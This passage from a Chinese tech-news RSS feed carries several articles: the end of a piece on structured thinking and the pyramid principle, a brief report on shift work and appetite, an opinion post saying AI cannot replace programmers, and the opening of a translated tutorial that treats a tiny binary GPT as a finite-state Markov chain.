&lt;p&gt;识别选信息和归纳整理信息，绝大多数是金字塔结构中的中间层和底层需要做的工作，有了这两层的基础，才能完成提炼结论的最后一步，即你想要用理由和事实说明什么问题。&lt;/p&gt;    &lt;h1&gt;四、如何提炼信息的结论&lt;/h1&gt;    &lt;p&gt;在写作中，结论就是体现中心思想的主题句；在沟通中，结论就是最终的结果或下一步的行动建议。      &lt;strong&gt;结论通常是基于理由和事实所提炼出来的，它是一个自下而上的过程，而不是先提出一个结论，然后根据结论去寻找理由和事实。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;要通过已经被放入金字塔结构中的信息进行最顶层的结论提炼，有两个重要方法：&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;1、归纳法&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;归纳法是从特殊到一般的思维方式，即根据多个个别事物的特殊性来概括出同类事物的特征。&lt;/strong&gt;换句话说，就是在识别信息、整理信息的基础上，找出各个信息要素之间的共性。&lt;/p&gt;    &lt;p&gt;找出共性的方法有两个：一是描述性概括，即找出事物属性的共性；二是行动性概括，即找出事情结果的共性。一个好的结论，通常是两种寻找共性方法的结合，既满足事物属性有共同点，又满足事情结果有共同点。&lt;/p&gt;    &lt;blockquote&gt;      &lt;p&gt;比如，你想要提升职位，可以提出“我满足晋升条件，可以胜任高级职位”的请求，然后列举近些年做出的主要贡献和工作业绩，并且将这些贡献和业绩对应到公司的晋升条件和要求中，以证明自己可以胜任。&lt;/p&gt;&lt;/blockquote&gt;    &lt;p&gt;      &lt;strong&gt;2、演绎法&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;演绎法是通过推理得出结论，最经典的就是亚里士多德的三段论演绎法，他把思维的推演分为“大前提、小前提、结论”三个部分。&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;大前提是事物的共性，小前提是具体事物，结论是具体事物的性质，它是从一般到特殊的思维过程。&lt;/strong&gt;例如，所有人都会死，这是大前提；苏格拉底是人，这是小前提；苏格拉底一定也会死，这是结论。采用演绎法特别需要注意的是大前提必须是客观事实，否则无法从一般过渡到特殊。&lt;/p&gt;    &lt;blockquote&gt;      &lt;p&gt;比如，你想提升职位，可以先列举大前提，即公司关于晋升的各项规定或要求，接着你要列出小前提，即通过具体事例证明自己己经满足晋升条件，最后你要给出结论，即明确表达“我满足这些条件，可以胜任更高的职位”。&lt;/p&gt;&lt;/blockquote&gt;    &lt;p&gt;利用演绎法进行说服，成功的机率往往很大，因为它是有理有据，无可争议的。但是如果你所提出的大前提并非客观事实，比如“同事们都说我适合当领导，应该升职”，这种极为主观的大前提就不能说服任何人了。&lt;/p&gt;    &lt;p&gt;归纳法和演绎法是两种最为重要的提炼结论的方法，      &lt;strong&gt;归纳法更适用于文字表达中，演绎法则更适用于语言沟通中。&lt;/strong&gt;不同情境，我们需要采取不同的方法进行结论提炼。&lt;/p&gt;    &lt;h1&gt;五、结构化思维的运用&lt;/h1&gt;    &lt;p&gt;结构化思维是一种思考问题和解决问题的方式，它可以运用于各种情景中，在此列举三个方面的运用。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;1、利用结构化思维分析问题&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;在结构化思维的课堂上，有一个非常经典的问题：如何将200毫升的水倒进100毫升的杯子中。按照常识判断，这是根本无法完成的事情，因为杯子的容积不够。可能会有人说把水冻成冰再放进被子，有人会说在太空失重的情况下进行。这些答案或对或错，但站在分析问题的角度来看，都太过片面。&lt;/p&gt;    &lt;p&gt;用结构化思维进行分析，待解决的问题就是“如何将200毫升的水倒进100毫升的杯子”。首先，我们需要从成因上进行分析。无外乎有三个方面：杯子太小装不下、水会流动、地球有重力。&lt;/p&gt;    &lt;p&gt;接着，我们就可以从这三个方面寻找答案，即水、杯子、外部环境，思考到这一步就已经实现了结构化。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://p4.itc.cn/images01/20211221/d58aefb11cc946ecaca404613d2faa44.jpeg"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;根据这个结构，就可以找到相应的解决方法有三种：&lt;/p&gt;    &lt;p&gt;（1）从杯子角度分析：考虑换成有弹性的类似气球的杯子，这样水倒进去，杯子会自然膨胀，这是从容积的角度解决问题的方案。&lt;/p&gt;    &lt;p&gt;（2）从水会流动的角度分析：可以把水冻成冰柱，哪怕是300毫升也能放进去，这是从水的属性角度制定的解决方案。&lt;/p&gt;    &lt;p&gt;（3）从外部环境角度分析：地球是有重力的，太空则没有，所以可以把水和杯子放在太空去，水变成水球，再多也能装下，这就是从外部环境特征角度找到的解决方案。&lt;/p&gt;    &lt;p&gt;通过结构化思维分析这个问题，不仅分析的更加全面，同时更有助于我们做出下一步的行动选择。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;2、利用结构化思维撰写工作总结&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;绝大多数人在撰写工作总结时，都会将总结分为两个部分：一是这一年的工作情况，二是下一年的工作设想。这看似是有结构的，但很可能写成流水账，把自己一年的工作一条条罗列上去，没有任何逻辑关系，也没有任何分类归纳，让人看不到结论，抓不住重点。&lt;/p&gt;    &lt;p&gt;比如，你担任公司的招聘专员，这一年你一共赶往了16个城市，在40所高效开办了40余场校园宣讲活动，与26所高校达成战略合作，招聘应届毕业生共计256名。参与当地人力资源和社会保障部举办的大型招聘会2场，招聘成熟人才共计8名。与猎头工作达成合作，根据企业需求招聘1名高管。参与制订了全年的人力资源规划工作，开展了各部门人员现状调査，进行了人员需求预测分析。&lt;/p&gt;    &lt;p&gt;如果你的工作总结是上述的这种汇报方式，让上司看到的只是你这一年的行程，而看不到你为公司做出的贡献，以及你个人的价值。下面，我们用结构化思维进行重新建构。&lt;/p&gt;    &lt;p&gt;上述这些信息倘若就是你这一年的工作内容，那么我们首先需要对信息进行分类，区分哪些是“理由”，哪些是“事实”。显然，你这一年的工作可以分为两大板块五个方面。两大板块分别是人力资源规划和招聘，在人力资源规划工作中，分为人员现状调查和人员需求分析两个方面，在招聘板块中分为校园招聘、社会招聘、猎头招聘三个方面。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://p6.itc.cn/images01/20211221/1e9d86cc06c947129db07299db761cf4.jpeg"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;明晰了“理由”，就可以利用描述客观事实对理由进行支撑，即上述所列出的具体数据。到这里，还没有结束，你还需要根据“理由”和“事实”，通过归纳法进行结论的提炼，比如，开展基于科学预测和全面覆盖的招聘工作。如果能将其作为工作总结的标题，或者作为开头时提出的结论，就非常有震慑力，上司即便不逐字阅读，也能清楚地知道这一年你的招聘工作是如何开展的。&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;3、利用结构化思维高效沟通&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;说话如同写作，同样需要结构化思维，你可以想象一个场景，你是公司的CEO，在一个会议上，下属向你汇报某个新上线产品的进展情况，他是这么说的：&lt;/p&gt;    &lt;p&gt;这个产品在某电商网上搜索指数是排在几名的，也是源于前期的广告投放非常精准，这个网站的流量也很大，用户非常多。目前我们发放的优惠券非常抢手，很多人都因为有了优惠券来尝试体验和购买我们的产品，并且还会复购，此外，我们的线上活动运营也准备的非常充分。总之。我们新产品非常成功，用户的好评度和复购率都很高。&lt;/p&gt;    &lt;p&gt;听完这个汇报，你可能会觉得非常乱，不知道对方到底想要强调什么。工作和生活中，我们时常都会犯这种错误，总是拉着人说呀说，最后对方一句“所以呢?”可能让我们亚口无言了。这就是我们常常感受到的“说了半天，不知道想说什么”的感觉，之所以出现这种感觉，原因就是缺乏结构化的表达。&lt;/p&gt;    &lt;p&gt;如果我们把上述的汇报用结构化思维进行重组，再一次进行表达：&lt;/p&gt;    &lt;p&gt;我们公司的新上线的产品经市场检验，非常成功。第一，在搜索指数方面，我们新产品连续7天排名前几名；第二，在用户方面，我们产品上线的电商平台给予了精准用户流量的支持，大大提升了产品的曝光率，也间接增加了复购率；第三，在线上活动运营方面，我们采取了发放优惠券的方式吸引用户体验和购买，获得了大批量用户的好评，提高了下单率。&lt;/p&gt;    &lt;p&gt;      &lt;img src="https://p8.itc.cn/images01/20211221/abec05b3f9e949a486caf7c02fb13800.jpeg"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;用以上这种方式进行表达，是不是听起来更清晰？能够让对方一下子抓住你想要说的重点内容，从不同角度对结论进行支撑描述，又进一步加强了结论的说服力。&lt;/p&gt;    &lt;h1&gt;总结&lt;/h1&gt;    &lt;p&gt;结构化思维是通过结构看问题的思考方式，主要分为纵向的信息识别和筛选，以及横向的信息归类和整理，得出最终结论。这个思考的过程可以利用金字塔结构图表示，它不仅能够帮助我们判断结论是否具有可信度，同时，可以帮助我们透过众多信息体现核心结论。&lt;/p&gt;    &lt;p&gt;当我们能够带着结构化思维去看问题、看世界时，我们的思考会更清晰、表达会更有力、工作会更高效、生活会更清爽。&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62897-%E6%96%87%E8%AF%BB-%E7%BB%93%E6%9E%84-%E6%80%9D%E7%BB%B4</guid>
      <pubDate>Mon, 25 Dec 2023 18:55:21 CST</pubDate>
    </item>
    <item>
      <title>科学家揭示轮班工作如何影响食欲</title>
      <link>https://itindex.net/detail/62861-%E7%A7%91%E5%AD%A6%E5%AE%B6-%E5%B7%A5%E4%BD%9C-%E4%BD%95%E5%BD%B1</link>
      <description>轮班工人的昼夜节律会被打乱，而昼夜节律失调会影响负责调节食欲的糖皮质激素，导致夜班工人更可能肥胖。对小鼠的实验发现，控制组在活跃阶段摄入了 88.4% 的每日热量，不活跃阶段只摄入了 11.6%。相比之下，昼夜节律失调的小组在不活跃阶段摄入了每日热量的 53.8%。这一数字是控制组的五倍。研究人员指出，对夜班工人来说，生物钟颠倒会对健康造成严重影响。研究人员建议他们尽量保持日光照射、有氧运动和按规定时间进餐。


 &lt;p&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62861-%E7%A7%91%E5%AD%A6%E5%AE%B6-%E5%B7%A5%E4%BD%9C-%E4%BD%95%E5%BD%B1</guid>
      <pubDate>Wed, 11 Oct 2023 22:33:16 CST</pubDate>
    </item>
    <item>
      <title>为什么说 AI 无法取代程序员的工作</title>
      <link>https://itindex.net/detail/62769-ai-%E5%8F%96%E4%BB%A3-%E7%A8%8B%E5%BA%8F%E5%91%98</link>
      <description>&lt;div&gt;很多人至今都想不明白为什么我说 AI 无法取代程序员的工作。他们天真地以为，如果有了超级先进的 AI，那么你只要告诉它”需要什么“，它就能给你做出来。然而问题就在于——你怎么告诉它“需要什么”？&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;“编程”的实质就是告诉电脑“需要什么”。要想让 AI 实现人需要的功能，人必须先告诉它“需要什么”。如果你不能表达”需要什么“，那它怎么可能给你做出来？然而表达“需要什么”这件事，却不是那么容易的，需要长期的学习。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;曾经有人天真的以为，只要设计出描述式（descriptive）的语言，就能很容易地表达“需要什么”。他们设计出各种“逻辑式语言”，比如 Prolog，号称这类描述式语言只需要表达“做什么”，而不需要说出具体“怎么做”。然而那些全都失败了。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;事实证明，想要表达“需要什么”，无论用什么语言或工具，都不是一件容易的事。如果你不能清晰地表达“需要什么”，连人都没法知道该给你做什么，那机器怎么可能知道？&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;这就是为什么 AI 永远无法取代程序员，因为它不能直接知道人脑子里想的是什么。除非 AI 有读心术，能直接读出人脑子里想的东西，否则这是不可能的。然而很多人的脑子里是混乱的，他们自己都不知道自己想要什么，就算有读心术都没用。&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;如果这点逻辑都弄不清楚，那你可能确实是可以被 AI 取代的那种人。[坏笑]&lt;/div&gt;
     
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62769-ai-%E5%8F%96%E4%BB%A3-%E7%A8%8B%E5%BA%8F%E5%91%98</guid>
      <pubDate>Mon, 29 May 2023 07:50:39 CST</pubDate>
    </item>
    <item>
      <title>[译] GPT 是如何工作的：200 行 Python 代码实现一个极简 GPT（2023）</title>
      <link>https://itindex.net/detail/62762-gpt-%E5%B7%A5%E4%BD%9C-python</link>
      <description>&lt;h3&gt;译者序&lt;/h3&gt;

 &lt;p&gt;本文整理和翻译自 2023 年 Andrej Karpathy 的 twitter 和一篇文章：
  &lt;a href="https://colab.research.google.com/drive/1SiF0KZJp75rUeetKOWqpsA8clmHP6jMg"&gt;GPT as a finite-state markov chain&lt;/a&gt;。&lt;/p&gt;

 &lt;p&gt;Andrej Karpathy 博士 2015 毕业于斯坦福，之后先在 OpenAI 待了两年，是 OpenAI
的创始成员和研究科学家，2017 年加入 Tesla，带领 Tesla Autopilot 团队，
2022 年离职后在 Youtube 上科普人工智能相关技术，2023 年重新回归 OpenAI。&lt;/p&gt;

 &lt;p&gt;本文实际上是基于 PyTorch，并不是完全只用基础 Python 包实现一个 GPT。
主要目的是为了能让大家对 GPT 这样一个复杂系统的（不那么底层的）内部工作机制有个直观理解。&lt;/p&gt;

 &lt;p&gt;本文所用的完整代码见  &lt;a href="https://github.com/ArthurChiao/arthurchiao.github.io/tree/master/assets/code/gpt-as-a-finite-state-markov-chain"&gt;这里&lt;/a&gt;。&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;译者水平有限，不免存在遗漏或错误之处。如有疑问，敬请查阅原文。&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;以下是译文。&lt;/p&gt;

 &lt;hr&gt;&lt;/hr&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#&amp;#35793;&amp;#32773;&amp;#24207;"&gt;译者序&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#&amp;#25688;&amp;#35201;"&gt;摘要&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#1-&amp;#24341;&amp;#35328;"&gt;1 引言&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#11-&amp;#26497;&amp;#31616;-gpttoken-&amp;#21482;&amp;#26377;-0-&amp;#21644;-1"&gt;1.1 极简 GPT：token 只有 0 和 1&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#12-&amp;#29366;&amp;#24577;&amp;#19978;&amp;#19979;&amp;#25991;&amp;#21644;&amp;#19978;&amp;#19979;&amp;#25991;&amp;#38271;&amp;#24230;"&gt;1.2 状态（上下文）和上下文长度&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#13-&amp;#29366;&amp;#24577;&amp;#31354;&amp;#38388;"&gt;1.3 状态空间&lt;/a&gt;             &lt;ul&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#131-&amp;#31616;&amp;#21270;&amp;#29256;&amp;#29366;&amp;#24577;&amp;#31354;&amp;#38388;"&gt;1.3.1 简化版状态空间&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#132-&amp;#30495;&amp;#23454;&amp;#29256;&amp;#29366;&amp;#24577;&amp;#31354;&amp;#38388;"&gt;1.3.2 真实版状态空间&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#14-&amp;#29366;&amp;#24577;&amp;#36716;&amp;#31227;"&gt;1.4 状态转移&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#15-&amp;#39532;&amp;#23572;&amp;#31185;&amp;#22827;&amp;#38142;"&gt;1.5 马尔科夫链&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#2-&amp;#20934;&amp;#22791;&amp;#24037;&amp;#20316;"&gt;2 准备工作&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#21-&amp;#23433;&amp;#35013;-pytorch"&gt;2.1 安装 pytorch&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#22-babygpt-&amp;#28304;&amp;#30721;-babygptpy"&gt;2.2 BabyGPT 源码       &lt;code&gt;babygpt.py&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#3-&amp;#22522;&amp;#20110;-babygpt-&amp;#21019;&amp;#24314;&amp;#19968;&amp;#20010;-binary-gpt"&gt;3 基于 BabyGPT 创建一个 binary GPT&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#31-&amp;#35774;&amp;#32622;-gpt-&amp;#21442;&amp;#25968;"&gt;3.1 设置 GPT 参数&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#32-&amp;#38543;&amp;#26426;&amp;#21021;&amp;#22987;&amp;#21270;"&gt;3.2 随机初始化&lt;/a&gt;             &lt;ul&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#321-&amp;#26597;&amp;#30475;&amp;#21021;&amp;#22987;&amp;#29366;&amp;#24577;&amp;#21644;&amp;#36716;&amp;#31227;&amp;#27010;&amp;#29575;"&gt;3.2.1 查看初始状态和转移概率&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#322-&amp;#29366;&amp;#24577;&amp;#36716;&amp;#31227;&amp;#22270;"&gt;3.2.2 状态转移图&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#33-&amp;#35757;&amp;#32451;"&gt;3.3 训练&lt;/a&gt;             &lt;ul&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#331-&amp;#36755;&amp;#20837;&amp;#24207;&amp;#21015;&amp;#39044;&amp;#22788;&amp;#29702;"&gt;3.3.1 输入序列预处理&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#332-&amp;#24320;&amp;#22987;&amp;#35757;&amp;#32451;"&gt;3.3.2 开始训练&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#333-&amp;#35757;&amp;#32451;&amp;#20043;&amp;#21518;&amp;#30340;&amp;#29366;&amp;#24577;&amp;#36716;&amp;#31227;&amp;#27010;&amp;#29575;&amp;#22270;"&gt;3.3.3 训练之后的状态转移概率图&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#34-&amp;#37319;&amp;#26679;&amp;#25512;&amp;#29702;"&gt;3.4 采样（推理）&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#35-&amp;#23436;&amp;#25972;&amp;#31034;&amp;#20363;"&gt;3.5 完整示例&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#4-&amp;#38382;&amp;#39064;&amp;#35752;&amp;#35770;"&gt;4 问题讨论&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#41-&amp;#35789;&amp;#20856;&amp;#22823;&amp;#23567;&amp;#21644;&amp;#19978;&amp;#19979;&amp;#25991;&amp;#38271;&amp;#24230;"&gt;4.1 词典大小和上下文长度&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#42-&amp;#27169;&amp;#22411;&amp;#23545;&amp;#27604;&amp;#35745;&amp;#31639;&amp;#26426;-vs-gpt"&gt;4.2 模型对比：计算机 vs. GPT&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#43-&amp;#27169;&amp;#22411;&amp;#21442;&amp;#25968;&amp;#22823;&amp;#23567;gpt-234"&gt;4.3 模型参数大小（GPT 2/3/4）&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#44-&amp;#22806;&amp;#37096;&amp;#36755;&amp;#20837;io-&amp;#35774;&amp;#22791;"&gt;4.4 外部输入（I/O 设备）&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#45-ai-&amp;#23433;&amp;#20840;"&gt;4.5 AI 安全&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#5-&amp;#20854;&amp;#20182;vocab_size3context_length2-babygpt"&gt;5 其他：    &lt;code&gt;vocab_size=3,context_length=2&lt;/code&gt; BabyGPT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;hr&gt;&lt;/hr&gt;

 &lt;h1&gt;摘要&lt;/h1&gt;

 &lt;p&gt;本文展示了一个极简 GPT，它只有 2 个 token   &lt;code&gt;0&lt;/code&gt; 和   &lt;code&gt;1&lt;/code&gt;，上下文长度为 3；
这样的 GPT 可以看做是一个有限状态马尔可夫链（FSMC）。
我们将用 token sequence   &lt;code&gt;111101111011110&lt;/code&gt; 作为输入对这个极简 GPT 训练 50 次，
得到的状态转移概率符合我们的预期。&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;img height="45%" src="https://arthurchiao.github.io/assets/img/gpt-as-a-finite-state-markov-chain/states-2.png" width="45%"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;例如，&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;在训练数据中，状态    &lt;code&gt;101 -&amp;gt; 011&lt;/code&gt; 的概率是 100%，因此我们看到训练之后的模型中，
     &lt;code&gt;101 -&amp;gt; 011 &lt;/code&gt;的转移概率很高（79%，没有达到 100% 是因为我们只做了 50 步迭代）；&lt;/li&gt;
    &lt;li&gt;在训练数据中，状态    &lt;code&gt;111 -&amp;gt; 111&lt;/code&gt; 和    &lt;code&gt;111 -&amp;gt; 110&lt;/code&gt; 的概率分别是 50%；
  在训练之后的模型中，两个转移概率分别为 45% 和 55%，也差不多是一半一半；&lt;/li&gt;
    &lt;li&gt;在训练数据中没有出现    &lt;code&gt;000&lt;/code&gt; 这样的状态，在训练之后的模型中，
  它转移到    &lt;code&gt;001&lt;/code&gt; 和    &lt;code&gt;000&lt;/code&gt; 的概率并不是平均的，而是差异很大（73% 到 001，27% 到 000），
  这是 Transformer 内部 inductive bias 的结果，也符合预期。&lt;/li&gt;
&lt;/ol&gt;

 &lt;p&gt;希望这个极简模型能让大家对 GPT 这样一个复杂系统的内部工作机制有个直观的理解。&lt;/p&gt;

 &lt;h1&gt;1 引言&lt;/h1&gt;

 &lt;p&gt;GPT 是一个神经网络，根据  &lt;strong&gt;输入的 token sequence&lt;/strong&gt;（例如，  &lt;code&gt;1234567&lt;/code&gt;）
来预测  &lt;strong&gt;下一个 token 出现的概率&lt;/strong&gt;。&lt;/p&gt;

 &lt;h2&gt;1.1 极简 GPT：token 只有 0 和 1&lt;/h2&gt;

 &lt;p&gt;如果所有可能的 token 只有两个，分别是   &lt;code&gt;0&lt;/code&gt; 和   &lt;code&gt;1&lt;/code&gt;，那这就是一个   &lt;strong&gt;binary GPT&lt;/strong&gt;，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;strong&gt;输入&lt;/strong&gt;：由 0 和 1 组成的一串 token，例如    &lt;code&gt;100011111&lt;/code&gt;，&lt;/li&gt;
    &lt;li&gt;   &lt;strong&gt;输出&lt;/strong&gt;：“下一个 token 是 0 的概率”（   &lt;code&gt;P(0)&lt;/code&gt;）和“下一个 token 是 1 的概率”（   &lt;code&gt;P(1)&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;例如，如果已经输入的 token sequence 是   &lt;code&gt;010&lt;/code&gt;（即 GPT 接受的输入是   &lt;code&gt;[0,1,0]&lt;/code&gt;），
那它可能根据自身当前的一些参数和状态，计算出“下一个 token 为 1 的可能性”是 80%，即&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;P(0) = 20%&lt;/li&gt;
    &lt;li&gt;P(1) = 80%&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;1.2 状态（上下文）和上下文长度&lt;/h2&gt;

 &lt;p&gt;上面的例子中，我们是用三个相邻的 token 来预测下一个 token 的，那&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;三个 token 就组成这个 GPT 的一个   &lt;strong&gt;上下文&lt;/strong&gt;（context），也是 GPT 的一个   &lt;strong&gt;状态&lt;/strong&gt;，&lt;/li&gt;
    &lt;li&gt;   &lt;code&gt;3&lt;/code&gt; 就是   &lt;strong&gt;上下文长度（context length）&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;从定义来说，如果上下文长度为 3（个 token），那么 GPT 在预测时  &lt;strong&gt;最多&lt;/strong&gt;只能使用
3 个 token（但可以只使用 1 或 2 个）。&lt;/p&gt;

 &lt;p&gt;一般来说，GPT 的输入可以无限长，但  &lt;strong&gt;上下文长度是有限的&lt;/strong&gt;。&lt;/p&gt;

 &lt;h2&gt;1.3 状态空间&lt;/h2&gt;

 &lt;p&gt;状态空间就是 GPT 需要处理的  &lt;strong&gt;所有可能的状态&lt;/strong&gt;组成的集合。&lt;/p&gt;

 &lt;p&gt;为了表示状态空间的大小，我们引入两个变量：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;vocab_size&lt;/code&gt;&lt;/strong&gt;（vocabulary size，字典空间）：   &lt;strong&gt;单个 token 有多少种可能的值&lt;/strong&gt;，
例如上面提到的 binary GPT 每个 token 只有 0 和 1 这两个可能的取值；&lt;/li&gt;
    &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;context_length&lt;/code&gt;&lt;/strong&gt;：上下文长度，用    &lt;code&gt;token&lt;/code&gt; 个数来表示，例如 3 个 token。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h3&gt;1.3.1 简化版状态空间&lt;/h3&gt;

 &lt;p&gt;先来看简化版的状态空间：只包括那些长度等于 context_length 的 token sequence。
用公式来计算的话，总状态数量等于字典空间（  &lt;code&gt;vocab_size&lt;/code&gt;）的幂次（  &lt;code&gt;context_length&lt;/code&gt;），即，&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;code&gt;total_states = vocab_size   &lt;sup&gt;context_length&lt;/sup&gt;&lt;/code&gt;&lt;/p&gt;

 &lt;p&gt;对于前面提到的例子，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;code&gt;vocab_size     = 2&lt;/code&gt;：token 可能的取值是    &lt;code&gt;0&lt;/code&gt; 和    &lt;code&gt;1&lt;/code&gt;，总共两个；&lt;/li&gt;
    &lt;li&gt;   &lt;code&gt;context_length = 3 tokens&lt;/code&gt;：上下文长度是 3 个 token；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;总的状态数量就是   &lt;code&gt;2   &lt;sup&gt;3&lt;/sup&gt; = 8&lt;/code&gt;。这也很好理解，所有状态枚举就能出来：
{  &lt;code&gt;000&lt;/code&gt;,   &lt;code&gt;001&lt;/code&gt;,   &lt;code&gt;010&lt;/code&gt;,   &lt;code&gt;011&lt;/code&gt;,   &lt;code&gt;100&lt;/code&gt;,   &lt;code&gt;101&lt;/code&gt;,   &lt;code&gt;110&lt;/code&gt;,   &lt;code&gt;111&lt;/code&gt;}。&lt;/p&gt;

 &lt;h3&gt;1.3.2 真实版状态空间&lt;/h3&gt;

 &lt;p&gt;在真实 GPT 中，预测下一个 token 只需要输入一个小于等于   &lt;code&gt;context_length&lt;/code&gt; 的 token 序列就行了，
比如在我们这个例子中，要预测下一个 token，可以输入  &lt;strong&gt;一个，两个或三个&lt;/strong&gt; token，而不是必须输入三个 token 才能预测。
所以在这种情况下，状态空间并不是 2^3=8，而是输入 token 序列长度分别为 1、2、3 情况下所有状态的总和，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;token sequence 长度为 1：总共 2^1 = 2 个状态&lt;/li&gt;
    &lt;li&gt;token sequence 长度为 2：总共 2^2 = 4 个状态&lt;/li&gt;
    &lt;li&gt;token sequence 长度为 3：总共 2^3 = 8 个状态&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;因此总共 14 状态，状态空间为
